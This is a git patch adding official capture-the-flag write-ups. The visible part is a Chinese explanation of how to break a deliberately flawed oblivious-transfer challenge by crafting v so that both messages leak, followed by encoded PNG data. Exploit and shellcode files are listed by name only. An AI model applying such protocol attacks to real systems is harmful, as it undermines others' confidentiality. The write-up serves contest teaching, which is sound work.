From 029a3845a9503056221c34caa9ea61471489d42d Mon Sep 17 00:00:00 2001 From: zzh1996 Date: Sat, 7 Nov 2020 05:01:04 +0800 Subject: [PATCH] add another 5 wp --- README.md | 10 +- official/不经意传输/README.md | 73 ++++++++ official/不经意传输/ot.png | Bin 0 -> 241722 bytes official/不经意传输/src/Dockerfile | 4 + official/不经意传输/src/OT.py | 34 ++++ official/不经意传输/src/solve_ot.py | 97 ++++++++++ official/中间人/README.md | 106 +++++++++++ official/中间人/src/Dockerfile | 4 + official/中间人/src/MITM1.py | 40 ++++ official/中间人/src/MITM2.py | 40 ++++ official/中间人/src/MITM3.py | 43 +++++ official/中间人/src/entry.py | 11 ++ official/中间人/src/mitm_exp1.py | 68 +++++++ official/中间人/src/mitm_exp2.py | 97 ++++++++++ official/中间人/src/mitm_exp3.py | 109 +++++++++++ official/中间人/src/utils.py | 33 ++++ official/从零开始的记账工具人/README.md | 67 +++++++ official/从零开始的记账工具人/src/Dockerfile | 7 + .../从零开始的记账工具人/src/app/cert.pem | 17 ++ official/从零开始的记账工具人/src/app/main.py | 73 ++++++++ .../从零开始的记账工具人/src/app/secret.py | 6 + .../src/app/static/bootstrap/css/bootstrap.min.css | 7 + .../src/app/static/bootstrap/js/bootstrap.min.js | 7 + .../src/app/static/error.css | 33 ++++ .../src/app/static/jquery.min.js | 2 + .../src/app/static/main.css | 47 +++++ .../src/app/templates/error.html | 31 +++ .../src/docker-compose.yml | 7 + official/动态链接库检查器/README.md | 32 ++++ .../动态链接库检查器/src/solution/Makefile | 16 ++ official/动态链接库检查器/src/solution/evil.c | 10 + .../动态链接库检查器/src/solution/evil.script | 24 +++ official/动态链接库检查器/src/solution/main.c | 16 ++ .../动态链接库检查器/src/solution/make_evil.c | 176 ++++++++++++++++++ .../src/solution/shellcode.asm | 26 +++ official/超精准的宇宙射线模拟器/README.md | 22 +++ official/超精准的宇宙射线模拟器/src/bitflip | Bin 0 -> 16960 bytes official/超精准的宇宙射线模拟器/src/flip.c | 27 +++ .../超精准的宇宙射线模拟器/src/solve_flip.py | 30 +++ 39 files changed, 1447 insertions(+), 5 deletions(-) create mode 100644 official/不经意传输/ot.png create mode 100644 official/不经意传输/src/Dockerfile create mode 100644 official/不经意传输/src/OT.py create mode 100644 official/不经意传输/src/solve_ot.py create mode 100644 official/中间人/src/Dockerfile create mode 100644 official/中间人/src/MITM1.py create mode 100644 official/中间人/src/MITM2.py create mode 100644 official/中间人/src/MITM3.py create mode 100644 official/中间人/src/entry.py create mode 100644 official/中间人/src/mitm_exp1.py create mode 100644 official/中间人/src/mitm_exp2.py create mode 100644 official/中间人/src/mitm_exp3.py create mode 100644 official/中间人/src/utils.py create mode 100644 official/从零开始的记账工具人/src/Dockerfile create mode 100644 official/从零开始的记账工具人/src/app/cert.pem create mode 100644 official/从零开始的记账工具人/src/app/main.py create mode 100644 official/从零开始的记账工具人/src/app/secret.py create mode 100644 official/从零开始的记账工具人/src/app/static/bootstrap/css/bootstrap.min.css create mode 100644 official/从零开始的记账工具人/src/app/static/bootstrap/js/bootstrap.min.js create mode 100644 official/从零开始的记账工具人/src/app/static/error.css create mode 100644 official/从零开始的记账工具人/src/app/static/jquery.min.js create mode 100644 official/从零开始的记账工具人/src/app/static/main.css create mode 100644 official/从零开始的记账工具人/src/app/templates/error.html create mode 100644 official/从零开始的记账工具人/src/docker-compose.yml create mode 100644 official/动态链接库检查器/src/solution/Makefile create mode 100644 official/动态链接库检查器/src/solution/evil.c create mode 100644 official/动态链接库检查器/src/solution/evil.script create mode 100644 official/动态链接库检查器/src/solution/main.c create mode 100644 official/动态链接库检查器/src/solution/make_evil.c create mode 100644 official/动态链接库检查器/src/solution/shellcode.asm create mode 100755 official/超精准的宇宙射线模拟器/src/bitflip create mode 100644 official/超精准的宇宙射线模拟器/src/flip.c create mode 100644 official/超精准的宇宙射线模拟器/src/solve_flip.py diff --git a/README.md b/README.md index f4c27b3..04b12dc 100644 --- a/README.md +++ b/README.md @@ -16,7 +16,7 @@ | [猫咪问答++(未完成)](official/猫咪问答++/README.md) | [文件、源代码](official/猫咪问答++/src) | | [2048(未完成)](official/2048/README.md) | [文件、源代码](official/2048/src) | | [一闪而过的 Flag](official/一闪而过的%20Flag/README.md) | [文件、源代码](official/一闪而过的%20Flag/src) | -| [从零开始的记账工具人(未完成)](official/从零开始的记账工具人/README.md) | [文件、源代码](official/从零开始的记账工具人/src) | +| [从零开始的记账工具人](official/从零开始的记账工具人/README.md) | [文件、源代码](official/从零开始的记账工具人/src) | | [超简单的世界模拟器](official/超简单的世界模拟器/README.md) | [文件、源代码](official/超简单的世界模拟器/src) | | [从零开始的火星文生活](official/从零开始的火星文生活/README.md) | [文件、源代码](official/从零开始的火星文生活/src) | | [自复读的复读机](official/自复读的复读机/README.md) | [文件、源代码](official/自复读的复读机/src) | @@ -37,12 +37,12 @@ | [超简易的网盘服务器](official/超简易的网盘服务器/README.md) | [文件、源代码](official/超简易的网盘服务器/src) | | [超安全的代理服务器](official/超安全的代理服务器/README.md) | [文件、源代码](official/超安全的代理服务器/src) | | [证验码(未完成)](official/证验码/README.md) | [文件、源代码](official/证验码/src) | -| [动态链接库检查器(未完成)](official/动态链接库检查器/README.md) | [文件、源代码](official/动态链接库检查器/src) | -| [超精准的宇宙射线模拟器(未完成)](official/超精准的宇宙射线模拟器/README.md) | [文件、源代码](official/超精准的宇宙射线模拟器/src) | +| [动态链接库检查器](official/动态链接库检查器/README.md) | [文件、源代码](official/动态链接库检查器/src) | +| [超精准的宇宙射线模拟器](official/超精准的宇宙射线模拟器/README.md) | [文件、源代码](official/超精准的宇宙射线模拟器/src) | | [超迷你的挖矿模拟器](official/超迷你的挖矿模拟器/README.md) | [文件、源代码](official/超迷你的挖矿模拟器/src) | | [Flag 计算机](official/Flag%20计算机/README.md) | [文件、源代码](official/Flag%20计算机/src) | -| [中间人(未完成)](official/中间人/README.md) | [文件、源代码](official/中间人/src) | -| [不经意传输(未完成)](official/不经意传输/README.md) | [文件、源代码](official/不经意传输/src) | +| [中间人](official/中间人/README.md) | [文件、源代码](official/中间人/src) | +| [不经意传输](official/不经意传输/README.md) | [文件、源代码](official/不经意传输/src) | ### 来自选手 diff --git a/official/不经意传输/README.md b/official/不经意传输/README.md index 074f6d4..8097294 100644 --- a/official/不经意传输/README.md +++ b/official/不经意传输/README.md @@ -1 +1,74 @@ # 不经意传输 + +## 花絮 + +我之前给 pwnhub 出过一道关于 oblivious transfer 的题目 [BabyOT](https://mp.weixin.qq.com/s/eAJWraah9OOgJfZOhm4Sqg) + +0CTF/TCTF 2020 Finals 也有一道 [Oblivious](https://cr0wn.uk/2020/0ctf-oblivious/) + +再加上这道题,三道题每道题的解法都完全不同。它们都是按照[维基百科上面的算法](https://en.wikipedia.org/wiki/Oblivious_transfer)实现的,但问题都在于,m0 和 m1 并不是均匀随机选择的。 + +我出这道题是因为某同学(就是 114514 那道题的出题人)跟我说,BabyOT 那道题其实 RSA 的 key 每次重新生成也可以做,不过要求字符集不能超过 16 个字符。他很快写好了字符集为连续 16 个字母的简单 demo。但是当我问他能不能把这 16 个字符设定成十六进制的 16 个字符时,我们都没想出来怎么搞。 + +我最开始以为穷举量太大,无法解出,后来发现其实把 RSA 的 bit 数变小就可以了,RSA 2048 变成 1024,解题需要的穷举量直接开根号。 + +## 第一问:解密消息 + +直接按照 oblivious transfer 的协议实现一下另一方就可以正常获取到两条消息中的一条了。 + +但是,这里有个坑,就是 m0 可能比 n 大。要么多试几次,要么把解出来的 m0 不断加上 n 尝试。 + +当然,你也可以直接去做第二问,这样第一问也包含在内了。 + +## 第二问:攻破算法 + +题目的缺陷在于,m0 和 m1 都是十六进制编码之后的字符串,每个字符都是在 0~9 a~f 这个特定的字符集内的,相比于随机的消息,非常不均匀。 + +![1-2 oblivious transfer](OT.png) + +以下的数学公式都是 mod n 意义下的。 + +仔细思考 1-2 oblivious transfer 的算法,我们可以发现解决这道题的重点: + +精心构造 v,可以 k0 和 k1 成比例。如果我们让 `k0 = -scale * k1`,那么就有 `m0' + m1' * scale = (m0 + k0) + (m1 + k1) * scale = m0 + m1 * scale`。 + +如何让 `k0 = -scale * k1` 呢?我们知道 `k0 ^ e = v - x0` 和 `k1 ^ e = v - x1`,代进去把 v 解出来就行了: + +`v = (x0 + scale ^ e * x1) / (1 + scale ^ e)` + +只要我们发送这样计算得到的 v,然后拿到 m0' 和 m1' 时计算一下,就可以得到 `m0 + m1 * scale` 了。 + +首先我们考虑简单的情形,即,m0 和 m1 每个字符都是 0~15 的范围。 + +字符串编码成的大整数,可以看作是 256 进制的数,如果每一个字节都是 0~15,意味着高 4 个二进制位都是 0。如果我们取 `scale = 16`,那么 `m0 + m1 * scale` 就是把两个数交错拼起来,示意图如下: + +``` +m0: 01 02 03 04 +m1: 0a 0b 0c 0d +``` + +这样的话 + +``` +m0 : 01 02 03 04 +m1 * 16 : a0 b0 c0 d0 +m0 + m1 * 16: a1 b2 c3 d4 +``` + +你看,什么信息都没丢,你可以轻松从中还原出 m0 和 m1。 + +再考虑复杂一点的情形,m0 和 m1 的字符集都是连续 16 个字符,或者说,更弱的条件,字符集的每个字符 mod 16 正好是 0~15。 + +此时,虽然 m0 和 m1 交织在了一起,但是我们从 `m0 + m1 * scale` 的低字节开始,通过 mod 16 就可以找到 m0 的低字节,然后减掉 m0 的低字节,继续 mod 16 找到 m1 的低字节,这样继续下去,就可以还原 m0 和 m1。 + +这道题中的情况是,m0 和 m1 的字符集 mod 16 并不恰好是 0~15。这样的话,当我们遇到重复的值,我们无法判定它是多种情况中的哪一个。所以,我们需要一些穷举。 + +其实,scale 也可以不是 16。我通过统计无法分辨的情况出现的概率,找到了题目字符集下比较好的一个 scale:19。 + +然后,我们拿到 `m0 + m1 * scale` 后,就可以开始从低字节开始寻找可能的 m0 和 m1 的低字节了,解题脚本需要记住所有的可能情况,然后不断向高字节搜索。 + +然而,对于我这种用 Python 这样运行速度很慢的语言解题的人来说,穷举量通常会是 2^30 以上的量级,在题目连接的短时间内无法穷举完成。当然,你可以选择不断重试,反正总有机会遇到穷举几分钟之内就找到解的情况。 + +穷举需要的数量级是一个二项分布(可以看成正态分布)。我的做法是,不断重新连接服务器,每次先计算一下穷举量,蹲到一个穷举量小于 2^24 的情况,分分钟就可以穷举出来。实测重连一些次就可以蹲到一次穷举量足够小的。 + +[解题脚本](src/solve_ot.py) diff --git a/official/不经意传输/ot.png b/official/不经意传输/ot.png new file mode 100644 index 0000000000000000000000000000000000000000..7cefa6929364dcc3655451132eed96f864883218 GIT binary patch literal 241722 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 